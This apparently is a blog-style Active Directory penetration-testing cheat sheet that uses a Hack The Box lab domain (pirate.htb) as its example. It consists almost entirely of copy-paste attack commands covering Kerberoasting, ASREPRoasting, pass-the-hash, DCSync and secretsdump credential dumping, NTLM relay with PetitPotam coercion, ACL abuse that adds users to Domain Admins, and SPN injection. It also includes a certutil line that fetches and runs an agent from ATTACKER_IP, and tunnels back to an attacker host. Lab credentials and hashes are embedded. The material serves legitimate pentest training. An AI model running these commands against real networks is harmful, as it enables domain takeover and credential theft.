AD Pentest Tools Workflow
Every tool used in a typical AD chain: what it does, how to use it, and when to reach for it. Example targets use 10.129.202.43 / pirate.htb — swap for yours.
Tool Categories
| Category | Tools |
|---|---|
| Reconnaissance | nmap, rustscan, enum4linux-ng, ldapsearch, bloodhound-python |
| Kerberos abuse | impacket-getTGT, impacket-getST, klist |
| Credential access | gMSADumper, impacket-secretsdump |
| Shells & execution | evil-winrm, impacket-psexec, impacket-wmiexec, impacket-smbexec |
| Pivoting | ligolo-ng, chisel |
| Relay attacks | impacket-ntlmrelayx, coercer |
| ACL / AD abuse | bloodyAD, addspn.py |
| Swiss army knife | NetExec (nxc) |
Kerberos Environment — Configure This First
These affect every Kerberos-based tool. Get them wrong and nothing works.
/etc/hosts — every Kerberos tool resolves hostnames; without entries, DNS fails silently and ticket requests go nowhere:
# Add before touching any target
sudo tee -a /etc/hosts << 'EOF'
10.129.202.43 dc01.pirate.htb pirate.htb DC01
EOF
# Add internal hosts after pivoting
# 192.168.100.2 web01.pirate.htb WEB01
/etc/krb5.conf — Impacket, gMSADumper, and all GSSAPI tools read this to find the KDC:
sudo bash -c 'cat > /etc/krb5.conf << EOF
[libdefaults]
default_realm = PIRATE.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
forwardable = true
rdns = false
default_tgs_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
default_tkt_enctypes = aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 rc4-hmac
[realms]
PIRATE.HTB = {
kdc = dc01.pirate.htb
admin_server = dc01.pirate.htb
}
[domain_realm]
.pirate.htb = PIRATE.HTB
pirate.htb = PIRATE.HTB
EOF'
| Key | Purpose |
|---|---|
default_realm | Must be uppercase — PIRATE.HTB not pirate.htb |
dns_lookup_kdc = false | Specify the KDC directly; lab DNS is unreliable |
rdns = false | Prevents reverse DNS lookups that fail in labs |
default_tgs_enctypes | Allows RC4-HMAC alongside AES — needed because gMSA hashes are NTLM (RC4) |
kdc = dc01.pirate.htb | Resolved via /etc/hosts — always set hosts first |
Clock sync (±5 minute tolerance):
# Check the skew
nmap --script smb2-time -p 445 10.129.202.43
# Sync clock to DC
sudo ntpdate -u 10.129.202.43
# Verify
timedatectl status
Ticket management:
# The most important line in any Kerberos attack
export KRB5CCNAME=/absolute/path/to/username.ccache
# Always use an absolute path. Relative paths break when tools change dir.
# Filenames with $ need escaping: MS01\$.ccache
klist # show current tickets + expiry
klist -e # show encryption types
kdestroy # destroy current ticket
kinit user@PIRATE.HTB # get new TGT interactively
1. Nmap
Network scanner: discovers hosts, open ports, services, OS, and runs NSE scripts.
# STAGE 1: ping sweep
nmap -sn 10.129.202.0/24 -oN recon/hosts.txt
# STAGE 2: full port scan
nmap -p- --min-rate 5000 -T4 10.129.202.43 -oN recon/ports.txt
# STAGE 3: service + default scripts on discovered ports
nmap -sC -sV -p 53,80,88,139,389,443,445,636,3268,5985 \
10.129.202.43 -oN recon/services.txt
# STAGE 4: AD-specific scripts
nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\
krb5-enum-users,smb-enum-domains,dns-nsid \
-p 53,88,389,445 10.129.202.43 -oN recon/ad.txt
# Useful single-liners
nmap --script vuln 10.129.202.43 # vuln scan
nmap -sU -p 161 10.129.202.43 # UDP / SNMP
nmap --script http-title -p 80,443,8080,8443 # quick web titles
AD-relevant ports —
Port Service Meaning 88 Kerberos Confirmed DC — TGT requests, ASREPRoast, Kerberoast 389/636 LDAP/LDAPS Enumerate users, groups, ACLs, delegations 445 SMB Check signing status before any relay 5985/5986 WinRM Shell access with valid creds or hash 3268/3269 Global Catalog Cross-domain queries
1-ALT. RustScan replaces stages 1–3 in a single command — async port discovery, then hands off to nmap:
# Install RustScan (check the releases page for the current version)
wget https://github.com/RustScan/RustScan/releases/download/2.3.0/rustscan_2.3.0_amd64.deb
sudo dpkg -i rustscan_2.3.0_amd64.deb
# Full scan — discover ports then pipe to nmap for -sC -sV
rustscan -a 10.129.202.43 --ulimit 5000 \
-- -sC -sV -oN recon/rustscan_detailed.txt
# Still run AD-specific scripts and clock skew scans separately
nmap --script smb2-time,smb2-security-mode,ldap-rootdse,\
krb5-enum-users -p 53,88,389,445 10.129.202.43 -oN recon/ad.txt
--ulimit 5000 limits concurrent connections — too high causes false negatives on unstable VPN links. -- passes everything after it directly to nmap.
2. enum4linux-ng
Wraps SMB/LDAP/RPC enumeration to extract users, groups, shares, password policy, and OS info — no credentials needed on misconfigured systems.
# Full enumeration, JSON + YAML output
enum4linux-ng -A 10.129.202.43 -oA recon/enum4linux
# Specific modules
enum4linux-ng -U 10.129.202.43 # users only
enum4linux-ng -G 10.129.202.43 # groups only
enum4linux-ng -S 10.129.202.43 # shares only
enum4linux-ng -P 10.129.202.43 # password policy
# With credentials
enum4linux-ng -A 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
Look for: users list (Kerberoast/ASREPRoast targets); password policy (min length, lockout threshold); shares (IPC$, SYSVOL, NETLOGON, custom).
NetExec alternative for anonymous enumeration:
nxc smb 10.129.202.43 -u '' -p '' --shares
nxc smb 10.129.202.43 -u '' -p '' --users
nxc smb 10.129.202.43 -u 'guest' -p '' --shares # guest session fallback
3. ldapsearch
Direct LDAP queries against AD — the most reliable way to enumerate users, groups, GPOs, service accounts, and delegation configs without a GUI.
# ANONYMOUS BIND (no creds)
# Get the base naming context first
ldapsearch -x -H ldap://10.129.202.43 -b "" -s base namingContexts
# Dump everything (anonymous, if allowed)
ldapsearch -x -H ldap://10.129.202.43 \
-b "DC=pirate,DC=htb" "(objectClass=*)" > ldap_all.txt
# AUTHENTICATED
ldapsearch -x -H ldap://10.129.202.43 \
-D "a.white@pirate.htb" -w 'E2nvAOKSz5Xz2MJu' \
-b "DC=pirate,DC=htb" "(objectClass=user)" \
sAMAccountName memberOf pwdLastSet
AD-specific queries — copy-paste reference:
# Pre-Win2000 Compatible Access group members
ldapsearch -x -H ldap://10.129.202.43 \
-b "DC=pirate,DC=htb" \
"(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb)" \
sAMAccountName
# All gMSA accounts
ldapsearch -x -H ldap://10.129.202.43 \
-b "DC=pirate,DC=htb" \
"(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
# Accounts with Kerberos delegation
ldapsearch -x -H ldap://10.129.202.43 \
-b "DC=pirate,DC=htb" \
"(msDS-AllowedToDelegateTo=*)" \
sAMAccountName msDS-AllowedToDelegateTo
# ASREPRoastable accounts (no pre-auth)
ldapsearch -x -H ldap://10.129.202.43 \
-b "DC=pirate,DC=htb" \
"(userAccountControl:1.2.840.113556.1.4.803:=4194304)" \
sAMAccountName
# Kerberoastable accounts (have SPN)
ldapsearch -x -H ldap://10.129.202.43 \
-b "DC=pirate,DC=htb" \
"(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName
# Verify SPN location (after addspn.py injection)
ldapsearch -x -H ldap://10.129.202.43 \
-D "a.white_adm@pirate.htb" -w 'Pwn3d2026!' \
-b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" \
servicePrincipalName
windapsearch alternative — wraps common LDAP queries into simple flags:
# Install
go install github.com/ropnop/go-windapsearch@latest
# Common queries
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --da # domain admins
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --computers # all computers
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --gpos # GPOs
windapsearch -d pirate.htb --dc dc01.pirate.htb -u 'a.white' -p 'pass' --unconstrained-delegation
4. BloodHound + bloodhound-python
Collects AD relationship data and visualises attack paths as a graph — the fastest way to find ACL abuse chains, delegation misconfigs, and shortest paths to Domain Admin.
# Install
pipx install bloodhound
# COLLECTION (run as soon as you have ANY valid creds)
# With username + password
bloodhound-python -d pirate.htb -dc dc01.pirate.htb \
-u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
-c All --zip -ns 10.129.202.43
# With NTLM hash (Pass-the-Hash)
bloodhound-python -d pirate.htb -dc dc01.pirate.htb \
-u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839 \
-c All --zip -ns 10.129.202.43
# With Kerberos ticket
KRB5CCNAME=MS01\$.ccache bloodhound-python \
-d pirate.htb -dc dc01.pirate.htb \
-u 'MS01$' --auth-method kerberos \
-c All --zip -ns 10.129.202.43
Note — Modern BloodHound is BloodHound CE (SpecterOps), which uses Docker Compose /
bhcerather than the legacy neo4j + Java GUI. For CE, collect with a matchingbloodhound-python -vor SharpHound version and drag the zip into the web UI. The legacy GUI below still works for the old edition.
Starting the legacy BloodHound GUI:
sudo apt install neo4j bloodhound
sudo neo4j start
bloodhound &
# Default creds: neo4j / neo4j -> change on first login
Useful Cypher queries (paste into the raw query bar):
// GenericWrite edges (like a.white -> a.white_adm)
MATCH p=(u)-[r:GenericWrite]->(t) RETURN p
// Who can read gMSA passwords?
MATCH p=(u)-[r:ReadGMSAPassword]->(g) RETURN p
// All delegation paths
MATCH p=(u)-[r:AllowedToDelegate]->(c) RETURN p
// Shortest paths from owned principals to Domain Admin
// (mark owned users first: right-click -> Mark as Owned)
NetExec BloodHound collection:
# Single command — handles collection + zipping
nxc ldap dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
--bloodhound -c All --dns-server 10.129.202.43
5. Impacket Suite
Python library implementing Windows network protocols — the single most important toolkit for AD pentesting (20+ tools for Kerberos, SMB, LDAP, RPC). On Kali the scripts are prefixed impacket- (e.g. impacket-getTGT); the raw getTGT.py names also work from a source checkout.
5.1 — getTGT (request a Kerberos TGT)
# Standard — with password
impacket-getTGT PIRATE.HTB/username:password -dc-ip 10.129.202.43
# Pre-Win2000 — machine name IS the password
impacket-getTGT 'PIRATE.HTB/MS01$:ms01' -dc-ip 10.129.202.43
# With NTLM hash (Pass-the-Hash for Kerberos)
impacket-getTGT PIRATE.HTB/user -hashes :NTLMhash -dc-ip 10.129.202.43
# Use the ticket
export KRB5CCNAME=$(pwd)/username.ccache
klist # verify it's valid
5.2 — getST (service ticket / S4U2Proxy / constrained delegation)
# RBCD: machine account impersonates Administrator for CIFS on WEB01
impacket-getST -spn 'cifs/WEB01.pirate.htb' \
-impersonate 'Administrator' \
'pirate.htb/URNYIFYY$:MTbIJRrN1El!HLH' \
-dc-ip 10.129.202.43
# KCD + altservice (SPN injection scenario)
# -altservice rewrites the sname field in the ticket
impacket-getST -spn 'HTTP/WEB01.pirate.htb' \
-impersonate 'Administrator' \
'pirate.htb/a.white_adm:Pwn3d2026!' \
-dc-ip 10.129.202.43 \
-altservice 'CIFS/DC01.pirate.htb'
export KRB5CCNAME=Administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache
5.3 — GetNPUsers (ASREPRoast)
# No creds — find accounts with "Do not require Kerberos preauthentication"
impacket-GetNPUsers PIRATE.HTB/ -dc-ip 10.129.202.43 -no-pass \
-usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
# Crack with hashcat
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
5.4 — GetUserSPNs (Kerberoast)
# With creds — find SPN accounts and request their TGS tickets
impacket-GetUserSPNs PIRATE.HTB/a.white:E2nvAOKSz5Xz2MJu \
-dc-ip 10.129.202.43 \
-request -outputfile kerb_hashes.txt
# Crack
hashcat -m 13100 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
5.5 — psexec / smbexec / wmiexec (remote execution)
# psexec — uploads a service binary, noisiest, gives SYSTEM
impacket-psexec PIRATE.HTB/Administrator:password@10.129.202.43
# With hash
impacket-psexec -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43
# With Kerberos ticket
impacket-psexec -k -no-pass DC01.pirate.htb
# wmiexec — uses WMI, no service install, less noisy, user-level
impacket-wmiexec -k -no-pass DC01.pirate.htb
# smbexec — creates a service but cleans up, middle ground
impacket-smbexec -k -no-pass DC01.pirate.htb
| Tool | Method | Noise | Runs As | Notes |
|---|---|---|---|---|
psexec | SMB named pipe + service | High | SYSTEM | Leaves artifacts; most reliable |
wmiexec | WMI process create | Low | User-level | No service install; semi-interactive |
smbexec | SMB service create + cleanup | Medium | SYSTEM | Cleans up after itself |
5.6 — atexec / dcomexec (additional execution methods)
# atexec — uses Task Scheduler (AT); good when other methods are blocked
impacket-atexec PIRATE.HTB/Administrator:password@10.129.202.43 'whoami'
# dcomexec — uses DCOM (MMC20.Application or ShellWindows)
impacket-dcomexec PIRATE.HTB/Administrator:password@10.129.202.43
impacket-dcomexec -object MMC20 PIRATE.HTB/Administrator:password@10.129.202.43
6. secretsdump
Dumps credential stores — SAM, LSA secrets, NTDS.dit, cached domain logons, DPAPI secrets.
# REMOTE DUMP (most common)
# With password
impacket-secretsdump PIRATE.HTB/Administrator:password@10.129.202.43
# With hash
impacket-secretsdump -hashes :NTLMhash PIRATE.HTB/Administrator@10.129.202.43
# With Kerberos ticket
impacket-secretsdump -k -no-pass WEB01.pirate.htb -outputfile web01_dump
# SAM + LSA only (skip NTDS, faster on member servers)
impacket-secretsdump -sam -lsa PIRATE.HTB/Administrator:password@10.129.202.43
# DC DUMP (DCSync — all hashes without NTDS.dit access)
# Requires: replication rights (DA or delegated)
impacket-secretsdump -just-dc PIRATE.HTB/Administrator:password@dc01.pirate.htb
# Just one user's hash
impacket-secretsdump -just-dc-user krbtgt PIRATE.HTB/Administrator:password@dc01.pirate.htb
# -outputfile creates: web01_dump.sam, web01_dump.secrets, web01_dump.ntds
impacket-secretsdump ... -outputfile web01_dump
| Output Section | Format | Use Case |
|---|---|---|
LSA Secrets | Plaintext service-account passwords | Recover cleartext creds |
SAM hashes | Administrator:500:LM:NTLM::: | Use the NTLM part (not LM) for PTH |
NTDS | Every domain account hash | Full domain compromise — PTH across all accounts |
Cached domain logons | DCC2 hashes | Crack offline with hashcat -m 2100 |
NetExec alternatives for credential dumping:
nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --sam # SAM hashes
nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --lsa # LSA secrets
nxc smb dc01.pirate.htb -u Administrator -H :NTLMhash --ntds # DCSync via NTDS
7. Evil-WinRM
PowerShell remote shell over WinRM (5985/5986). Supports Pass-the-Hash, Kerberos, file upload/download, in-memory script loading.
# CONNECT
# With password
evil-winrm -i dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
# Pass-the-Hash
evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' \
-H '8126756fb2e69697bfcb04816e685839'
# With Kerberos (set KRB5CCNAME first)
evil-winrm -i dc01.pirate.htb -r PIRATE.HTB
File transfer (inside the Evil-WinRM prompt):
upload /local/path/agent.exe C:\Users\Public\agent.exe
download C:\Users\Administrator\Desktop\root.txt
# Load a PowerShell script in-memory (no disk touch): start evil-winrm with -s /path/to/scripts/
Situational awareness — run on every new machine:
whoami /all # privs + groups
net localgroup administrators # who is local admin?
Get-ADUser -Filter * -Properties * # all AD users
Get-ADGroupMember "Domain Admins" # DA members
(Get-ADComputer -Filter *).Name # all computers
ipconfig /all # NICs, subnets, DNS
Tip — fix broken evil-winrm. After Kali updates, evil-winrm often breaks with
rubyziperrors:sudo gem install evil-winrm.
8. NetExec (nxc)
The modern successor to CrackMapExec. Single tool for password spraying, credential validation, enumeration, and modules across SMB, WinRM, LDAP, MSSQL, SSH, RDP.
# CREDENTIAL VALIDATION
nxc smb 10.129.202.43 -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
# Output: [+] = valid, [-] = invalid, Pwn3d! = local admin
nxc winrm dc01.pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu'
nxc smb 10.129.202.43 -u Administrator -H :NTLMhash # Pass-the-Hash
# SPRAYING (watch lockout threshold!)
nxc smb 10.129.202.43 -u users.txt -p 'Winter2024!' --continue-on-success
# ENUMERATION
nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --shares
nxc smb 10.129.202.43 -u 'a.white' -p 'pass' --loggedon-users
nxc ldap dc01.pirate.htb -u 'a.white' -p 'pass' --bloodhound -c All
nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa
# EXECUTION
nxc smb 10.129.202.43 -u Admin -p pass -x "whoami" # cmd
nxc smb 10.129.202.43 -u Admin -p pass -X "Get-Process" # PowerShell
Warning — password-spraying safety. Always check the lockout policy first (
enum4linux-ng -Pornxc smb --pass-pol). One spray per lockout window. Locking out accounts is the fastest way to get caught.
9. gMSADumper
Reads msDS-ManagedPassword from LDAP to extract gMSA NTLM hashes. Only works if your account has read access to that attribute (msDS-GroupMSAMembership).
git clone https://github.com/micahvandeusen/gMSADumper && cd gMSADumper
pip install gssapi
# With username + password
python3 gMSADumper.py -u 'MS01$' -p 'ms01' -d pirate.htb -l dc01.pirate.htb
# With Kerberos ticket
KRB5CCNAME=/absolute/path/MS01\$.ccache \
python3 gMSADumper.py -d pirate.htb -l dc01.pirate.htb -k
# Alternative — NetExec is often more reliable
nxc ldap dc01.pirate.htb -u 'MS01$' -p 'ms01' --gmsa
Output format:
gMSA_ADFS_prod$:::8126756fb2e69697bfcb04816e685839 <- NTLM hash -> PTH
gMSA_ADFS_prod$:aes256-cts-hmac-sha1-96:4b663e09... <- AES key -> Kerberos
If empty, check PrincipalsAllowedToRetrieveManagedPassword on the gMSA object — your account must be in that group or its membership chain.
10. Ligolo-ng
Creates a transparent Layer-3 VPN tunnel through a compromised host using a kernel tun interface. Unlike proxychains (SOCKS), every tool works natively — no prefix.
# SETUP (one-time)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_proxy_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/ligolo-ng_agent_windows_amd64.zip
# Create tun interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# EVERY TIME
# Terminal 1: start proxy (attacker)
./proxy -selfcert -laddr 0.0.0.0:443
# Target (via shell): download and run agent
certutil.exe -urlcache -f http://ATTACKER_IP:8080/agent.exe agent.exe
.\agent.exe -connect ATTACKER_IP:443 -ignore-cert
# Terminal 1 (proxy console): activate
# ligolo-ng » session
# [Agent: ...] » start
# Add route to internal subnet
sudo ip route add 192.168.100.0/24 dev ligolo
sudo ip route add 172.16.50.0/24 dev ligolo # multiple subnets
# LISTENER: forward port 4444 on the pivot to your 4444 (reverse shells from WEB01)
# [Agent: ...] » listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
Chisel alternative (SOCKS proxy fallback) — tradeoff is you must prefix commands with proxychains:
# Attacker: start chisel server
chisel server -p 8000 --reverse
# Pivot (Evil-WinRM): run chisel client
.\chisel.exe client 10.10.14.42:8000 R:socks
# Attacker: use proxychains for internal-subnet targets
proxychains nmap -sC -sV 192.168.100.2
proxychains evil-winrm -i 192.168.100.2 -u admin -p pass
11. ntlmrelayx
Relays NTLM authentication to other services — when a machine is forced to authenticate to your listener, you forward that credential to a target service.
# COMMON RELAY TARGETS
# Relay to LDAPS + RBCD
impacket-ntlmrelayx -t ldaps://10.129.202.43 \
--delegate-access --remove-mic -smb2support
# Relay to SMB — dump SAM (target must have signing disabled)
impacket-ntlmrelayx -t smb://192.168.100.2 -smb2support
# Relay to LDAPS — create a new computer account
impacket-ntlmrelayx -t ldaps://10.129.202.43 --add-computer HACKED$
# Relay to MSSQL
impacket-ntlmrelayx -t mssql://192.168.100.5 -smb2support
# Relay to multiple targets
impacket-ntlmrelayx -tf targets.txt -smb2support
| Flag | Purpose |
|---|---|
--delegate-access | Add RBCD rights to newly created machine account |
--remove-mic | Bypass MIC (needed for cross-protocol relay, e.g. NTLM -> LDAPS) |
--no-dump | Skip SAM dump (quieter) |
-smb2support | Enable SMB2 (required for modern Windows) |
-6 | Listen on IPv6 too |
Before a relay, always check: is SMB signing disabled on the victim (nmap --script smb2-security-mode)? Is LDAP signing enforced on target (LDAPS on 636 often bypasses this)? Are victim and target different machines?
12. Coercer
Forces a Windows machine to authenticate to an attacker server via RPC protocols (MS-EFSR, MS-FSRVP, MS-DFSNM, etc). The “push” that makes NTLM relay work.
pipx install coercer
# SCAN MODE: check which protocols are available
coercer scan -t 192.168.100.2 -d pirate.htb \
-u 'gMSA_ADFS_prod$' --hashes :8126756fb2e69697bfcb04816e685839
# COERCE MODE: force authentication
coercer coerce \
-l 10.10.14.42 \
-t 192.168.100.2 \
-d pirate.htb \
-u 'gMSA_ADFS_prod$' \
--hashes :8126756fb2e69697bfcb04816e685839 \
--always-continue
# SPECIFIC PROTOCOLS
# Only MS-EFSR (PetitPotam — most reliable)
coercer coerce -l 10.10.14.42 -t 192.168.100.2 \
-d pirate.htb -u user -p pass \
--filter-method-name EfsRpcEncryptFileSrv
# PetitPotam directly (original PoC)
python3 PetitPotam.py -u 'user' -p 'pass' -d pirate.htb \
10.10.14.42 192.168.100.2
Important — start the relay before coercion.
ntlmrelayxmust be listening before you run coercer. Authentication arriving with no relay listener is lost.
13. bloodyAD
Swiss army knife for AD object manipulation — modify attributes, ACLs, passwords, group memberships directly via LDAP.
pipx install bloodyAD
# PASSWORD OPERATIONS
# Reset another user's password (requires GenericWrite/ForceChangePassword)
bloodyAD -d pirate.htb -u 'a.white' -p 'E2nvAOKSz5Xz2MJu' \
--host 10.129.202.43 set password a.white_adm 'Pwn3d2026!'
# GROUP MEMBERSHIP
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
--host dc01.pirate.htb add groupMember "Domain Admins" a.white
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
--host dc01.pirate.htb remove groupMember "Group" username
# ATTRIBUTE MANIPULATION
# Set RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity)
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
--host dc01.pirate.htb add rbcd WEB01$ HACKER$
# Disable pre-auth (make account ASREPRoastable)
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
--host dc01.pirate.htb add uac target.user -f DONT_REQ_PREAUTH
# READ OPERATIONS — check what you can write to
bloodyAD -d pirate.htb -u 'a.white' -p 'pass' \
--host dc01.pirate.htb get writable
rpcclient fallback for password reset:
rpcclient -U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' 10.129.202.43 \
-c 'setuserinfo2 a.white_adm 23 Pwn3d2026!'
14. addspn.py (krbrelayx)
Adds, removes, or lists SPNs on AD objects. Part of the krbrelayx toolkit — key for SPN injection (moving an SPN from one computer to another to redirect Kerberos delegation).
git clone https://github.com/dirkjanm/krbrelayx && cd krbrelayx
# LIST SPNs on an account
python3 addspn.py \
-u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
-t 'DC01$' --list 10.129.202.43
# ADD an SPN
python3 addspn.py \
-u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
-t 'DC01$' \
-s 'HTTP/WEB01.pirate.htb' \
10.129.202.43
# REMOVE an SPN (-r flag)
python3 addspn.py \
-u 'pirate.htb\a.white_adm' -p 'Pwn3d2026!' \
-t 'WEB01$' \
-s 'HTTP/WEB01.pirate.htb' \
-r 10.129.202.43
# VERIFY (with ldapsearch)
ldapsearch -x -H ldap://10.129.202.43 \
-D 'a.white_adm@pirate.htb' -w 'Pwn3d2026!' \
-b "DC=pirate,DC=htb" "(sAMAccountName=DC01$)" servicePrincipalName
Why SPN injection matters: constrained delegation resolves the target by which computer has the SPN registered. Move HTTP/WEB01 from WEB01$ to DC01$ and the KDC issues delegation tickets for DC01 — even though the delegation config on a.white_adm hasn’t changed.
Auth Methods Across Tools — Quick Reference
| Tool | Password | NTLM Hash | Kerberos Ticket |
|---|---|---|---|
impacket-getTGT | -p pass | -hashes :NTLM | N/A (produces tickets) |
impacket-getST | :pass | -hashes :NTLM | -k -no-pass + KRB5CCNAME |
impacket-secretsdump | :pass | -hashes :NTLM | -k -no-pass |
impacket-psexec | :pass | -hashes :NTLM | -k -no-pass |
evil-winrm | -p pass | -H NTLM | -r REALM + KRB5CCNAME |
nxc | -p pass | -H :NTLM | -k + KRB5CCNAME |
bloodhound-python | -p pass | --hashes :NTLM | --auth-method kerberos |
bloodyAD | -p pass | -p :NTLM (or --hashes) | -k |
coercer | -p pass | --hashes :NTLM | -k |
Troubleshooting Reference
| Error | Cause | Fix |
|---|---|---|
KRB_AP_ERR_SKEW | Clock skew > 5 min | sudo ntpdate -u DC_IP |
KDC not found | Bad krb5.conf | Check /etc/krb5.conf realm + KDC IP |
KDC_ERR_PREAUTH_FAILED | Wrong password | Double-check creds; try hash |
Errno 111 Connection refused | WinRM not running | Check port 5985; try 5986 |
STATUS_ACCESS_DENIED (SMB) | Creds work but no admin | User isn’t local admin on that host |
NT_STATUS_LOGON_FAILURE | Bad hash/pass | Verify NTLM hash is the NT part (not LM) |
| gMSADumper returns empty | Wrong account | Check PrincipalsAllowedToRetrieveManagedPassword |
rubyzip error in evil-winrm | Broken gem | sudo gem install evil-winrm |
| ntlmrelayx relay fails | SMB signing enabled | Relay to LDAPS (:636) instead |
Server not found in Kerberos database | Missing /etc/hosts or bad krb5.conf | Add hostname to /etc/hosts; verify [domain_realm] |
References
- Nmap docs — https://nmap.org/book/man.html
- RustScan — https://github.com/RustScan/RustScan
- enum4linux-ng — https://github.com/cddmp/enum4linux-ng
- BloodHound (SpecterOps) — https://github.com/SpecterOps/BloodHound
- bloodhound-python — https://github.com/dirkjanm/BloodHound.py
- Impacket — https://github.com/fortra/impacket
- gMSADumper — https://github.com/micahvandeusen/gMSADumper
- NetExec — https://github.com/Pennyw0rth/NetExec
- evil-winrm — https://github.com/Hackplayers/evil-winrm
- Ligolo-ng — https://github.com/nicocha30/ligolo-ng
- chisel — https://github.com/jpillora/chisel
- Coercer — https://github.com/p0dalirius/Coercer
- bloodyAD — https://github.com/CravateRouge/bloodyAD
- krbrelayx / addspn.py — https://github.com/dirkjanm/krbrelayx
- windapsearch — https://github.com/ropnop/windapsearch